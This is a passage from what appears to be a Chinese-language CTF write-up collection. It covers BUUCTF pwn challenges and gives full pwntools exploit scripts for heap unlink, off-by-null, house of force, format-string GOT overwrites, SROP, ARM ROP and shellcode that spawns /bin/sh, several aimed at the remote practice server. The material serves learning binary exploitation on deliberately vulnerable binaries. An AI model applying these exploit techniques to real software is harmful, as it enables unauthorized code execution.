p.sendlineafter(b'-> \n', '2')
p.sendafter(b':\n', name)
p.sendafter(b':\n', content)
def show():
p.sendlineafter(b'-> \n', '3')
def exit():
p.sendlineafter(b'-> \n', '4')
def get_addr():
p.sendlineafter(b'-> \n', '666')

get_addr()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['_IO_puts']
print(' libc_base -> ', hex(libc_base))

one_gadget = libc_base + 0xf1147
exit_hook = libc_base + 0x5f0040 + 3848

add(0x60, p64(0) + p64(exit_hook))
edit(b'a'*8, p64(one_gadget))
print(hex(exit_hook))

p.sendlineafter(b'-> \n', b'a')
p.interactive()

 jarvisoj_typo

第一道 arm 架构的题目
0
以下命令可以执行 arm 程序
qemu-arm file_name
程序应该是栈溢出
0
IDA 反汇编结果是这样的
0
由于是静态编译,看着很费劲
接下来是 arm 程序的调试方法
将其挂载在端口
qemu-arm -g 1212 pwn # -g参数指定gdb链接端口,因为是静态链接,所以不需要-L参数指定动态链接库
然后进行调试
gdb-multiarch #启动gdb-multiarch 
pwndbg> set arch arm #设置程序架构为arm架构
pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
连接上后按 C 继续执行,然后在 另一个窗口输入 cylic 生成的字符串
0
(第一个问题忽略直接回车,第二个问题输入字符串)然后发现 gdb 这 ip 指向了 0x62616164
0
并且可以知道缓冲区溢出长度为 112 到 ip
由于是静态编译,接下来就用 ROP 的方法,寻找 /bin/sh 字符串和 system 函数
/bin/sh
0
看 wp 说这个函数像是 system (循着哪个函数调用 /bin/sh 找的)
0
然后需要 gadget
arm 的第一个参数寄存器是 r0
0
然后就是 exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')
p = process(['qemu-arm', './pwn'])
p.recv()
p.sendline('')
p.recv()
payload = b'a'*112 + p32(pop_r0_r4_pc) + p32(bin_sh)*2 + p32(system)
p.sendline(payload)

p.interactive()
看来还要抽时间学 arm 指令集啊

hitcontraining_playfmt

格式化字符串,不知道为什么,打远程有时候能成功有时候不能,浪费我的时间
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25313)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def pd():
p.sendline(b'stop')
p.recvuntil(b'stop')

# shellcode -> buf
buf = 0x0804A060
# leaK ret
p.recv()
p.sendline(b'%6$p')
p.recvuntil(b'0x')
ret = int(p.recv(8), 16) - 0x28
print(' ret -> ', hex(ret))

# ret -> shellcode_addr
shellcode_addr = buf + 0x5
payload = b'%' + str((ret + 0x1c) & 0xff).encode() + b'c%6$hhn'
p.sendline(payload)

payload = b'%' + str(shellcode_addr & 0xffff).encode() + b'c%10$hn'
p.sendline(payload)

# pwn
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.send(b'quit\x00' + asm(shellcraft.sh()))
p.interactive()

 

 inndy_echo2

格式化字符串,但是我犯了一个低级错误
这是正确的 payload
payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn'
payload = payload.ljust(16, b'a') + p64(exit + i//8)
但是我写成
payload = b'%' + str((one_gadget >> i) & 0xFFFF - 24).encode() + b'c'
payload = payload.ljust(16, b'a') + p64(exit + i//8) + b'%8$hn'
这样的话,遇到 p64(exit + i//8) 中的 \x00 就不输出后面的 %8$hn 了,也就无法正常修改
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29176)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b *$rebase(0x984)')

# leak pro_base
p.sendline(b'%41$p')
p.recvuntil(b'0x')
pro_base = int(p.recv(12), 16) - 74 - 0x9B9
print(' pro_base -> ', hex(pro_base))

# leak libe_base
p.sendline(b'%43$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 240 - libc.sym['__libc_start_main']
print(' libc_base -> ', hex(libc_base))

# 
exit = pro_base + elf.got['exit']
one_gadget = libc_base + 0x45216
print(hex(one_gadget))
for i in range(0, 48, 16):
payload = b'%' + str((one_gadget >> i) & 0xFFFF).encode() + b'c%8$hn'
payload = payload.ljust(16, b'a') + p64(exit + i//8)
p.sendline(payload)
p.recv()
sleep(1)

p.sendline(b'exit')
p.interactive()
#pause()

 

jarvisoj_level6_x64

 
0
四功能齐全的堆题
漏洞点应该在 edit 模块
0
这里用到了 realloc 函数,而 add 只用了 malloc 函数
并且,由于 (128 - v2 % 128) % 128 + v2 的限制,0 大小申请是 0 ,而 1-0x80 申请的堆块大小都是 0x80 ,0x81 - 0x100 都是固定 0x100 以此类推,区别是最后修改时候所能写的字节大小
这里的漏洞应该就是要利用 realloc 函数的特性了
他的基础功能是改变mem_address所指内存区域的大小为newsize长度。这里就有几种不同的情况
1.当size为0,这时就相当于free()函数,同时返回值为null
2.当指针为0,size大于0,相当于malloc函数
3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉
4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。
如果是 edit 的时候 size = 0 ,那么是不是相当于存在 UAF,不过貌似限制了长度要为正数,这个不行了
不过 free 中存在 UAF
0
程序开始时会申请一个大堆块来存放各个堆块的信息
这里我利用 realloc 的特性泄露了 libc_base
# leak libc_base
add(0x1, b'a') #index 0
add(0x1, b'a') #index 1
add(0x1, b'a') #index 2
free(1)
edit(0, 0x90, b'a'*0x90)
show()
p.recv()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
看了 wp 发现这道题是要用 unlink 的方法,跟 realloc 关系不大
这里的 unlink 也是利用了 free 的 uaf,先利用 unsort bin 泄露堆块地址,然后利用 unlink 修改保存的信息来 get shell
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27557)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def show():
p.sendlineafter(b'choice: ', b'1')
def add(size, content):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'note: ', str(size))
p.sendlineafter(b'note: ', content)
def edit(index, size, content):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'number: ', str(index))
p.sendlineafter(b'note: ', str(size))
p.sendlineafter(b'note: ', content)
def free(index):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'number: ', str(index))

# leak heap_addr
add(0x80, b'a'*0x80) #index 0
add(0x80, b'b'*0x80) #index 1
add(0x80, b'c'*0x80) #index 2
add(0x10, b'd'*0x10) #index 3

free(0)
free(2)
add(8, b'a'*8) #index 0

show()
p.recvuntil('a' * 8)
heap_addr = u64(p.recv(4).strip().ljust(8, b'\x00')) - 0x1940 + 0x30
print(' heap_addr -> ', hex(heap_addr))

# unlink attack
free(0)
free(1)
free(3)

add(0x20, p64(0) + p64(0x110) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10)) # index 0
payload = b'a'*0x80 + p64(0x110) + p64(0x90) + b'A'*0x80 + p64(0) + p64(0x91) + b'a'*0x80
add(len(payload), payload)# index 1
free(2)

# leak libc_base
payload = p64(1)*2 + p64(0x8) + p64(elf.got['atoi'])
edit(0, len(payload), payload)
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))

# atoi -> system
system = libc_base + libc.sym['system']
edit(0, 0x8, p64(system))

# pwn
p.sendlineafter(b'choice: ', b'/bin/sh\x00')
p.interactive()
#debug()
注意 edit 会检查要输入的大小和程序的大小是否相同然后才去判断是否调用 ralloc ,所有修改 atoi 为 system 要注意

asis2016_b00ks

ubuntu 16 、保护全开
漏洞点: off by null
0
漏洞利用:存在一个名字在 data 中,并且紧靠着 ptr ,可以利用 off by null 修改 ptr[0] 来泄露 ibc_bae 和 get_shell
0
思路:先用紧考着的这个特性利用 show 泄露堆块地址,在利用 off by null 修改 ptr[0] ,使其指向可控的堆块空间,布置可控的堆块空间,使其指向 unsorted bin 的 fd 来泄露 libc_base ,再一个指向自身,方便布置为 free_hook ,好修改为 one_gadget
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26427)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def init(name):
p.sendlineafter(b'name: ', name)
def add(size1, name, size2, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'size: ', str(size1))
p.sendlineafter(b': ', name)
p.sendlineafter(b'size: ', str(size2))
p.sendlineafter(b': ', content)
def free(index):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'delete: ', str(index))
def edit(index, content):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'edit: ', str(index))
p.sendlineafter(b'description: ', content)
def show():
p.sendlineafter(b'> ', b'4')
def edit_name(content):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b': ', content)

# leak heap_addr
init(b'a'*0x20)
add(0xd0, b'a', 0x20, b'a') # index 1
show()
p.recvuntil(b'a'*0x20)
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(' heap_addr -> ', hex(heap_addr))

# leak libc_base
add(0x80, b'a', 0x60, b'a') # index 2
add(0x10, b'a', 0x10, b'a') # index 3
free(2)

payload = p64(1) + p64(heap_addr + 0x30) + p64(heap_addr - 0x30) + p64(0x20)
edit(1, payload)

edit_name(b'a'*0x20)
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

# free_hook -> one_gadget
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4526a
payload = p64(1) + p64(heap_addr + 0x30) + p64(free_hook) + p64(0x20)
edit(1, payload)
edit(1, p64(one_gadget))

#pwn
free(1)
p.interactive()
#debug()

linkctf_2018.7_babypie

一道比较有趣的题,开了 PIE ,有后面函数,是栈溢出
0
第一个 read 泄露 canary
由于开启了PIE,但是 ret 也就是最后一个字节和后面函数不同,所以只需要覆盖一个字节即可,不需要泄露程序基址
0
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27880)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b read')
# leak canary
p.recv()
p.send(b'a'*0x29)
p.recvuntil(b'a'*0x29)
canary = u64(p.recv(7).rjust(8, b'\x00'))
print(' canary -> ', hex(canary))

# ret -> backdoor
payload = b'a'*0x28 + p64(canary) + b'a'*8 + p8(0x3e)
p.send(payload)

p.interactive()


#pause()

 ciscn_2019_s_1

没开 PIE 其它保护全开的 ubuntu 18 的题目
漏洞点:存放 off by null
0
思路:利用 of by null 构造 unlink ,并且没开 PIE ,可以修改 heap_array上的数据。
第一,这里存在 tcache ,所以要先堆满 tcache bin 。
第二,show 函数 和 edit 函数的时候存在限制,判断是否能用的 key 被放到 bss 中,在 heap_addr 的下面,这里能够选择 index ,所以尽量选择 index 大的,方便我们修改 key 继续攻击
第三,不知道为什么 unlink 的时候只有 ptr = 0x6021e0 才行,如 ptr = 0x6021f0 不行的,不知道为什么
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 25865)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter(b'4.show\n', '1')
p.sendlineafter(b'index:\n', str(index))
p.sendlineafter(b'size:\n', str(size))
p.sendafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'4.show\n', '2')
p.sendlineafter(b'index:\n', str(index))
def edit(index, content):
p.sendlineafter(b'4.show\n', '3')
p.sendlineafter(b'index:\n', str(index))
p.sendafter(b'content:\n', content)
def show(index):
p.sendlineafter(b'4.show\n', '4')
p.sendlineafter(b'index:\n', str(index))

# unlink attack
for i in range(1, 8):
add(i, 0xf8, b'a')
add(32, 0xf8, b'a')
add(9, 0xf8, b'a')
add(8, 0x80, b'/bin/sh\x00')
add(31, 0x80, b'a')

for i in range(1, 8):
free(i)

ptr = 0x6021e0
payload = p64(0) + p64(0xf0) + p64(ptr - 0x18) + p64(ptr - 0x10) + b'a'*0xd0 + p64(0xf0)
edit(32, payload)
free(9)

# change heap_array
payload = p64(0)*2 + p64(elf.got['puts']) + p64(0x6021e0) + b'\x00'*(0x2B8 - 0x1C8 - 0x20) + p32(1) + p32(3)
edit(32, payload)

# leak libc_base
show(31)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# free_hook -> system
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
edit(32, p64(free_hook))
edit(32, p64(system))

# pwn
free(8)
p.interactive()

 hfctf_2020_marksman

0
先泄露 puts 地址,然后可以修改内存的后三个字节
首先我们可以通过 puts 地址得到 libc_base ,然后修改 exit_hook 为 one_gadget
不过 sub_BC2 函数会限制我们直接填入 one_gadget
0
所以直接抬高 one_gadget 五个字节,从上一个指令开始指向,这样就能绕过了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28581)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

one_gadget = libc_base + 0x4f322 - 5
exit_hook = libc_base + 0x81df60
print(hex(exit_hook))
p.sendlineafter(b'shoot!shoot!\n', str(exit_hook))

for i in range(0, 24, 8):
p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF))
p.interactive()

 warmup

alarm 函数的特性构造 orw_ROP
0
栈溢出
0
但是是静态编译,也开了 NX ,没有足够的 gadget 构造 rop 来 getshell
但是存在 read 和 write ,只是缺少 open,这里利用 alarm 函数的特性来调用 orw 读 flag
当之前调用了 alarm(0xa) 时,如果距离 n 秒再次调用 alarm 函数,那么就会返回 a-n ,我们也就能控制 eax 的值了,这里控制 eax 为 5,再接着系统调用 ,就能实现 open 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26850)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
read_addr = 0x804811D
vuln_addr = 0x804815A
write_addr = 0x8048135
data_addr = 0x80491BC
alarm_addr = 0x804810D
syscall = 0x804813a

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10)
p.sendafter(b'2016!\n', payload)
p.send(b'/flag\x00'.ljust(0x10, b'\x00'))

 # open

sleep(5)
payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0)
p.send(payload)

 # read

payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x30)
p.send(payload)

 # write

payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data_addr) + p32(0x30)
p.send(payload)

p.recv()
p.recv()
p.recv()
print(p.recv())

 gwctf_2019_easy_pwn

c ++ 看起来是真的乱
0
后来发现 I 会被替换成 pretty ,以此栈溢出构建 ROP
 
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27280)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

# leak libc_base
payload =b'I'*16 + p32(elf.plt['puts']) + p32(0x8049091) + p32(elf.got['puts'])
p.sendafter('name!\n', payload)
libc_base = u32(p.recvuntil(b'\xf7')[-4:]) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# get shell
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'I'*16 + p32(system) + b'a'*4 + p32(binsh)
p.sendafter('name!\n', payload)

# pwn
p.interactive()

 picoctf_2018_echo back

格式化字符串
0
但是 fini_array 修改不了,不过这里可以把 puts -> vuln ,令 pinrtf -> system
payload 构造了好一会
from pwn import *
from struct import pack
context(os = 'linux', arch = 'i386', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27348)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

system = 0x8048460
vuln = 0x80485dc
printf_got = 0x0804A010
puts_got = 0x0804A01C

#gdb.attach(p, 'b *0x8048609')
# printf_got -> system puts_got -> vuln
# 4 8 60 84 85 dc
payload = b'%4c%23$hhn%4c%24$hn%88c%25$hhn%36c%26$hhn%1c%27$hhn%87c%28$hhnaa' + p32(printf_got + 2) + p32(printf_got + 3) + p32(printf_got) + p32(printf_got + 1) + p32(puts_got + 1) + p32(puts_got) + p32(printf_got + 2)
p.sendafter(b'message:\n', payload)
p.send(b'/bin/sh\x00')

p.interactive()

 360chunqiu2017_smallest

0
一道静态编译题,程序很简单,只有 read(0, rsp, 0x400)
这里要利用 read 的返回值控制 rax 加上 SROP 来 getshell
要利用 SORO getsehll 需要 binsh 的地址,这里我们得先泄露栈地址
payload = p64(vuln)*3
p.send(payload)

payload = b'\xb3'
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(' stack -> ', hex(stack))
这里先把 vuln 是函数写进去,后面要进行 write 的系统调用,得先控制 rax 为 1,这里是发送了一个字符,控制 rip 直接到 mov edx, 400h 执行,跳过了 xor rax, rax 。最后成功泄露栈地址
接下来就是读取 binsh,我们要把 binsh 读到已知的地址
# SROP-read 
rd = SigreturnFrame()
rd.rax = 0
rd.rdi = 0
rd.rsi = stack
rd.rdx = 0x400
rd.rsp = stack
rd.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(rd)
p.send(payload)

sleep(1)

payload = p64(syscall) + b'a'*7
p.send(payload)
这里利用 SROP 调用 read
然后就是读取 /bin/sh 到已知的栈地址,并且接着利用 SROP 调用 execve
# read binsh -> execev
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack + 0x190  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack
sigframe.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(sigframe)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)

sleep(1)

payload = p64(syscall) + b'a'*7
p.send(payload)
最后就是 getshell
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29666)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b *0x400c0')

syscall = 0x4000BE
vuln = 0x4000B0
# leak start_addr
payload = p64(vuln)*3
p.send(payload)

payload = b'\xb3'
p.send(payload)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(' stack -> ', hex(stack))

# SROP-read 
rd = SigreturnFrame()
rd.rax = 0
rd.rdi = 0
rd.rsi = stack
rd.rdx = 0x400
rd.rsp = stack
rd.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(rd)
p.send(payload)

sleep(1)

payload = p64(syscall) + b'a'*7
p.send(payload)

# read binsh -> execev
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack + 0x190  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack
sigframe.rip = syscall

payload = p64(vuln) + b'a'*8 + bytes(sigframe)
payload = payload.ljust(0x190, b'\x00') + b'/bin/sh\x00'
p.send(payload)

sleep(1)

payload = p64(syscall) + b'a'*7
p.send(payload)


p.interactive()

#pause()

 bctf2016_bcloud

一道之前做过的题,house of force
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29666)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'>>\n', b'1')
p.sendlineafter(b'content:\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'>>\n', b'3')
p.sendlineafter(b'id:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'>>\n', b'4')
p.sendlineafter(b'id:\n', str(index))

# leak heap_addr
p.sendafter(b'Input your name:\n', b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap_addr = u32(p.recv(4)) - 8

p.sendafter(b'Org:\n', b'a'*0x40)
p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c)
print(' heap_addr -> ', hex(heap_addr))

# house of force
heap_array = 0x0804B120
top_chunk_addr = heap_addr + 0xd8
offset = heap_array - top_chunk_addr - 0x10
add(offset, b'')

add(0x60, p32(heap_array)*2) #index 1
add(0x10, b'a') #index 2
add(0x10, b'a') #index 3

# leak libc_base
edit(1, p32(heap_array)*2 + p32(elf.got['free']) + p32(elf.got['puts']))
edit(2, p32(elf.sym['puts']))
free(3)
libc_base = u32(p.recv(4)) - libc.sym['puts']
print(' libc_base -> ', hex(libc_base))

# free -> system
system = libc_base + libc.sym['system']
edit(2, p32(system))

# pwn
add(0x10, b'/bin/sh\x00') #index 3
free(3)
p.interactive()

 shanghai2018_baby_arm

一道 arm aarch64 架构的 ret2csu 题目
qemu-aarch64 -L /usr/aarch64-linux-gnu/ pwn
程序是明显的栈溢出
0
0
并且带有 mprotect 函数,这里将 shellcode 写入 0x411068 ,然后利用 mprotect 函数将 0x411068 置为可执行内存,接着执行 shellcode
接着介绍要用到的 gadget
0
可以为 X19 ~ X24 X29,X30 的寄存器赋值
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给0x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给0x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给0x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给0x30
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址
另外的
.text:00000000004008AC loc_4008AC ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将x21寄存器中的值赋给x3(存放函数地址)
